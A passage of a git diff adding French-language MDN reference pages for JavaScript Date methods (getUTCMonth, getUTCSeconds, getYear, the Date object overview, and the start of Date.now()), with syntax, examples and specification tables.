+<p>L'exemple suivant assigne le mois de la date actuelle à la variable <code>mois</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var mois = aujourdhui.getUTCMonth();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCMonth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html
new file mode 100644
index 0000000000..c56766bb13
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getUTCSeconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCSeconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getUTCSeconds()</code></strong> renvoie les secondes de la date renseignée, d'après UTC.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getutcseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getUTCSeconds()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 59 correspondant au nombre de secondes écoulées pour la date indiquée selon le temps universel.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getUTCSeconds()">Utiliser <code>getUTCSeconds()</code></h3>
+
+<p>L'exemple suivant assigne les secondes de la date actuelle à la variable <code>secondes</code>.</p>
+
+<pre class="brush: js">var aujourdhui = new Date();
+var secondes = aujourdhui.getUTCSeconds();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getUTCSeconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html
new file mode 100644
index 0000000000..a890eaeb7e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html
@@ -0,0 +1,127 @@
+---
+title: Date.prototype.getYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getYear
+tags:
+  - Date
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear
+---
+<div>{{JSRef}} {{Deprecated_header}}</div>
+
+<p>La méthode <strong><code>getYear()</code></strong> renvoie l'année de la date renseignée, d'après l'heure locale. Parce que <code>getYear()</code> ne renvoie pas l'année complète (« bug de l'an 2000 »), cette méthode n'est plus utilisée et doit être remplacée par {{jsxref("Date.getFullYear", "getFullYear")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getYear()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre représentant l'année de la date indiquée, selon l'heure locale, auquel on a soustrait 1900.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>getYear()</code> renvoie l'année moins 1900 ; par conséquent :</p>
+
+<ul>
+ <li>Pour les années supérieures ou égales à 2000, la valeur renvoyée par <code>getYear()</code> est supérieure ou égale à 100. Par exemple, si l'année est 2026, <code>getYear()</code> renvoie 126.</li>
+ <li>Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par <code>getYear()</code> est comprise entre 0 et 99. Par exemple, si l'année est 1976, <code>getYear()</code> renvoie 76.</li>
+ <li>Pour les années inférieures à 1900, la valeur renvoyée par <code>getYear()</code> est négative. Par exemple, si l'année est 1800, <code>getYear()</code> renvoie -100.</li>
+</ul>
+
+<p>Pour prendre en compte les années avant et après 2000, il vaut mieux utiliser {{jsxref("Date.getFullYear", "getFullYear()")}} au lieu de <code>getYear</code> afin que l'année soit spécifiée en entier.</p>
+
+<h2 id="Rétrocompatibilité">Rétrocompatibilité</h2>
+
+<h3 id="Comportement_dans_JavaScript_1.2_et_versions_antérieures">Comportement dans JavaScript 1.2 et versions antérieures</h3>
+
+<p>La méthode <code>getYear()</code> renvoyait soit une année en deux chiffres, soit une année en quatre chiffres :</p>
+
+<ul>
+ <li>Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par <code>getYear()</code> était l'année moins 1900. Par exemple, si l'année était 1976, la valeur renvoyée était 76.</li>
+ <li>Pour les années inférieures à 1900 ou supérieures à 1999, la valeur renvoyée par <code>getYear</code> était l'année en quatre chiffres. Par exemple, si l'année était 1856, la valeur renvoyée était 1856. Si l'année était 2026, la valeur renvoyée était 2026.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Années_entre_1900_et_1999">Années entre 1900 et 1999</h3>
+
+<p>La seconde instruction assigne la valeur 95 à la variable <code>annee</code>.</p>
+
+<pre class="brush: js">var noel = new Date("December 25, 1995 23:15:00");
+var annee = noel.getYear(); // renvoie 95
+</pre>
+
+<h3 id="Années_après_1999">Années après 1999</h3>
+
+<p>La seconde instruction assigne la valeur 100 à la variable <code>annee</code>.</p>
+
+<pre class="brush: js">var noel = new Date("December 25, 2000 23:15:00");
+var annee = noel.getYear(); // renvoie 100
+</pre>
+
+<h3 id="Années_avant_1900">Années avant 1900</h3>
+
+<p>La seconde instruction assigne la valeur -100 à la variable <code>annee</code>.</p>
+
+<pre class="brush: js">var noel = new Date("December 25, 1800 23:15:00");
+var annee = noel.getYear(); // renvoie -100
+</pre>
+
+<h3 id="Définition_et_lecture_d'une_année_entre_1900_et_1999">Définition et lecture d'une année entre 1900 et 1999</h3>
+
+<p>La troisième instruction assigne la valeur 95 à la variable <code>annee</code>, représentant l'année 1995.</p>
+
+<pre class="brush: js">var noel = new Date("December 25, 1800 23:15:00");
+var noel.setYear(95);
+var annee = noel.getYear(); // renvoie 95
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.4', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Défini dans l'annexe informative sur la compatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Défini dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/index.html b/files/fr/web/javascript/reference/objets_globaux/date/index.html
new file mode 100644
index 0000000000..e38ef84b9b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/index.html
@@ -0,0 +1,258 @@
+---
+title: Date
+slug: Web/JavaScript/Reference/Objets_globaux/Date
+tags:
+  - Date
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Les objets JavaScript <strong><code>Date</code></strong> représentent un instant donné sur l'axe du temps dans un format indépendant de la plateforme utilisée.</span> Les objets <code>Date</code> contiennent un nombre (<code>Number</code>) qui représente le nombre de millisecondes écoulées depuis le premier janvier 1970 sur l'échelle <a href="https://fr.wikipedia.org/wiki/Temps_universel_coordonn%C3%A9">UTC</a>.</p>
+
+<div class="blockIndicator note">
+<p>TC39 travaille actuellement sur <a href="https://tc39.es/proposal-temporal/docs/index.html">Temporal</a>, une nouvelle API pour la gestion des dates, heures et données temporelles.<br>
+ Pour en savoir plus, consultez le <a href="https://blogs.igalia.com/compilers/2020/06/23/dates-and-times-in-javascript/">blog d'Igalia</a> et n'hésitez pas à répondre <a href="https://forms.gle/iL9iZg7Y9LvH41Nv8">au sondage</a>. Les retours concrets de développeurs web sont importants pour affiner cette API. Attention, elle n'est pas encore prête à être utilisée en production !</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Lepoch_ECMAScript">L'epoch ECMAScript</h3>
+
+<p>D'un point de vue technique, une date JavaScript correspond au nombre de millisecondes écoulées depuis le premier janvier 1970, minuit UTC. Cette date et cette heure sont les mêmes que <strong>l'<a href="https://fr.wikipedia.org/wiki/Epoch">epoch</a> UNIX</strong>, qui est l'instant de référence principalement utilisé pour manipuler les dates/heures dans les systèmes informatiques.</p>
+
+<p><strong>Note :</strong> Bien que les valeurs temporelles des objets dates soient relatives à UTC, certaines des méthodes simples pour obtenir les composantes d'une date/heure fonctionnent relativement au fuseau horaire du système.</p>
+
+<p>On notera également que la représentation maximale d'un objet <code>Date</code> n'est pas la même que le plus grand entier représentable en JavaScript (<code>Number.MAX_SAFE_INTEGER</code> vaut 9,007,199,254,740,991). En effet, ECMA-262 définit un maximum de ±100 000 000 (cent millions) jours relatifs au premier janvier 1970 UTC (ce qui correspond au 20 avril 271 821 avant notre ètre d'une part et au 13 septembre 275 760 de notre ère) pouvant être représentés par un objet <code>Date</code> standard (soit un intervalle de ±8 640 000 000 000 000 millisecondes).</p>
+
+<h3 id="Les_formats_de_date_et_les_conversions_entre_les_fuseaux_horaires">Les formats de date et les conversions entre les fuseaux horaires</h3>
+
+<p>Il existe différentes méthodes pour obtenir une date sous différents formats ou effectuer une conversion entre différents fuseaux. On distingue notamment les fonctions qui manipulent les dates relativement au temps universal coordonné (UTC). Le temps local est celui utilisé par l'appareil de l'utilisateur.</p>
+
+<p>Ainsi, on dispose de méthodes permettant d'obtenir ou de définir les différentes composantes d'une date selon le temps local (ex. {{jsxref("Date.getDay", "getDay()")}}, {{jsxref("Date.setHours", "setHours()")}}) et de méthodes équivalentes pour la manipulation en UTC (ex. {{jsxref("Date.getUTCDay()", "getUTCDay()")}} et {{jsxref("Date.setUTCHours", "setUTCHours()")}} respectivement).</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{jsxref("Date/Date", "Date()")}}</dt>
+ <dd>Cette fonction permet de créer un nouvel objet <code>Date</code>.</dd>
+</dl>
+
+<h2 id="Méthodes_statiques">Méthodes statiques</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>Renvoie la valeur numérique correspondant au moment présent sous la forme du nombre de millisecondes écoulées depuis le premier janvier 1970 00:00:00 UTC (les secondes intercalaires (<em>leap seconds</em>) sont ignorées).</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Analyse la représentation textuelle d'une date et renvoie le nombre de millisecondes écoulées entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (<em>leap seconds</em>) sont ignorées).
+ <div class="note">
+ <p><strong>Note :</strong> L'analyse de chaînes de caractères à l'aide de <code>Date.parse</code> est fortement déconseillée en raison des incohérences qui existent entre les navigateurs.</p>
+ </div>
+ </dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Accepte les mêmes paramètres que la forme longue du constructeur (c'est-à-dire entre 2 et 7) et renvoie le nombre de millisecondes entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (<em>leap seconds</em>) sont ignorées).</dd>
+</dl>
+
+<h2 id="Méthodes_des_instances">Méthodes des instances</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>Renvoie le jour du mois (entre <code>1</code> et <code>31</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>Renvoie le jour de la semaine (entre <code>0</code> et <code>6</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>Renvoie l'année (sans chiffre implicite, <code>1999</code> sera renvoyé et pas <code>99</code> par exemple) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>Renvoie l'heure (entre <code>0</code> et <code>23</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>Renvoie les millisecondes (entre <code>0</code> et <code>999</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>Renvoie les minutes (entre <code>0</code> et <code>59</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>Renvoie le mois (entre <code>0</code> et <code>11</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>Renvoie les secondes (entre <code>0</code> et <code>59</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>Renvoie la valeur numérique de la date donnée, exprimée en nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC (pour les temps antérieurs, ce sont des valeurs négatives qui seront renvoyées).</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>Renvoie le décalage horaire, exprimé en minutes, pour la locale courante.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>Renvoie le jour du mois (entre <code>1</code> et <code>31</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>Renvoie le jour de la semaine (entre <code>0</code> et <code>6</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>Renvoie l'année (sans chiffre implicite, <code>1999</code> sera renvoyé plutôt que <code>99</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>Renvoie l'heure (entre <code>0</code> et <code>23</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>Renvoie les millisecondes (entre <code>0</code> et <code>999</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>Renvoie les minutes (entre <code>0</code> et <code>59</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>Renvoie le mois (entre <code>0</code> et <code>11</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>Renvoie les secondes (entre <code>0</code> et <code>59</code>) pour la date donnée, selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}}</dt>
+ <dd>Renvoie l'année (généralement exprimée sur 2 ou 3 chiffres) pour la date donnée selon le temps local. <strong>On utilisera plutôt {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}</strong>.</dd>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>Définit le jour du mois pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>Définit l'année (sans chiffre implicite, on utilisera <code>1999</code> et pas <code>99</code>) pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>Définit les heures pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>Définit les millisecondes pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>Définit les minutes pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>Définit le mois pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>Définit les secondes pour la date donnée, selon le temps local.</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>Définit le nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC et la date donnée. On utilisera des nombres négatifs pour les moments antérieurs à cette date.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>Définit le jour du mois pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>Définit l'année (exprimée sans chiffres implicites, ex. <code>1999</code> et pas <code>99</code>) pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>Définit l'heure pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>Définit les millisecondes pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>Définit les minutes pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>Définit le mois pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>Définit les secondes pour la date donnée selon le temps universel.</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}}</dt>
+ <dd>Définit l'année (avec 2 à 3 chiffres) pour la date courante selon le temps local. <strong>On privilégiera la méthode {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} à la place.</strong></dd>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>Renvoie la partie "date" (jour, mois, année) de l'objet {{jsxref("Date")}} en une chaîne de caractères compréhensible par un humain (anglophone) (ex. <code>'Thu Apr 12 2018'</code>).</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>Convertit une date en une chaîne de caractères selon le format ISO 8601 Étendu.</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} avec {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Cette méthode est utilisée par {{jsxref("JSON.stringify()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} d'après le fuseau GMT (UTC). <strong>On utilisera plutôt {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}</strong>.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant les jours / mois / années de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}}</dt>
+ <dd>Convertit la date courante en une chaîne de caractères avec un format décrit en paramètre via une chaîne de caractères.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant la date sous le forme de la locale courante. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant les heures / minutes / secondes de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} courant. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>Renvoie l'heure (avec les minutes et les secondes) d'une date sous la forme d'une chaîne de caractères compréhensible par un humain.</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>Convertit une date en chaîne de caractère en utilisant le temps universel comme référentiel.</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>Renvoie la valeur primitive d'un objet {{jsxref("Date")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Différentes_façons_de_créer_un_objet_Date">Différentes façons de créer un objet <code>Date</code></h3>
+
+<p>Les exemples qui suivent illustrent différentes méthodes permettant de créer des dates JavaScript :</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'analyse de chaîne de caractères représentant des dates avec le constructeur <code>Date</code>  (ou <code>Date.parse</code> qui est équivalent) est fortement déconseillée en raison des différences de comportement existant entre les navigateurs.</p>
+</div>
+
+<pre class="brush: js notranslate">let aujourdhui = new Date()
+let anniversaire = new Date('September 22, 2018 15:00:00')
+let anniversaire = new Date('2018-09-22T15:00:00')
+let anniversaire = new Date(2018, 8, 22)            // the month is 0-indexed
+let anniversaire = new Date(2018, 8, 22, 15, 0, 0)
+</pre>
+
+<h3 id="Les_années_sur_deux_chiffres_correspondent_à_la_période_1900_–_1999">Les années sur deux chiffres correspondent à la période 1900 – 1999</h3>
+
+<p>Afin de créer et de manipuler des dates sur les années <code>0</code> à <code>99</code> de notre ère, on doit utiliser les méthodes {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}}.</p>
+
+<pre class="brush: js notranslate">let date = new Date(98, 1)  // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Méthode dépréciée, 98 correspond également ici à 1998
+date.setYear(98)            // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98)        // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id="Calculer_le_temps_écoulé">Calculer le temps écoulé</h3>
+
+<p>Dans les exemples suivants, on illustre comment calculer le temps écoulé entre deux dates JavaScript en millisecondes.</p>
+
+<p>En raison de durées différentes pour les jours (heure d'été / heure d'hiver), les mois et les années, il faudra faire attention et étudier le sujet avant d'exprimer des durées en unités supérieures à des heures / minutes / secondes.</p>
+
+<pre class="brush: js notranslate">// Utiliser des objets Date
+let debut = Date.now()
+
+// Ici, l'évènement dont on veut mesurer la durée :
+faireQuelqueChosePendantLongtemps()
+let fin = Date.now()
+let duree = fin - debut // La durée écoulée, en millisecondes
+</pre>
+
+<pre class="brush: js notranslate">// En utilisant les méthodes natives
+let debut = new Date()
+
+// Ici, l'évènement dont on veut mesurer la durée :
+faireQuelqueChosePendantLongtemps()
+let fin = new Date()
+let duree = fin.getTime() - debut.getTime() // La durée écoulée, en millisecondes
+</pre>
+
+<pre class="brush: js notranslate">// Pour tester le temps d'exécution d'une fonction
+function afficheDureeEcoulee(fTest) {
+  let debut = Date.now(),
+      valRetour = fTest(),
+      fin = Date.now()
+
+  console.log(`Durée écoulée : ${ String(fin - debut) } millisecondes`)
+  return valRetour
+}
+
+let valeurDeRetour = afficheDureeEcoulee(maFonctionATester)
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour les navigateurs qui prennent en charge l'{{domxref("Window.performance", "API Web Performance", "", 1)}}, la méthode {{domxref("Performance.now()")}} peut fournir un outil de mesure des durées écoulées plus fiable et précis que {{jsxref("Date.now()")}}.</p>
+</div>
+
+<h3 id="Obtenir_le_nombre_de_secondes_écoulées_depuis_lepoch_ECMAScript">Obtenir le nombre de secondes écoulées depuis l'epoch ECMAScript</h3>
+
+<pre class="brush: js notranslate">let secondes = Math.floor(Date.now() / 1000)
+</pre>
+
+<p>Dans ce cas, on renvoie un entier et c'est pour ça qu'on utilise {{jsxref("Math.floor()")}}. Par ailleurs, on n'utilise pas {{jsxref("Math.round()")}} afin d'avoir le nombre de secondes effectivement écoulées.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Date", 3)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le constructeur {{jsxref("Date/Date", "Date()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/now/index.html b/files/fr/web/javascript/reference/objets_globaux/date/now/index.html
new file mode 100644
index 0000000000..008db50f65
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/now/index.html
@@ -0,0 +1,106 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/now
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Date.now()</code></strong> renvoie le nombre de millisecondes écoulées depuis le 1<sup>er</sup> Janvier 1970 00:00:00 UTC.</p>
+
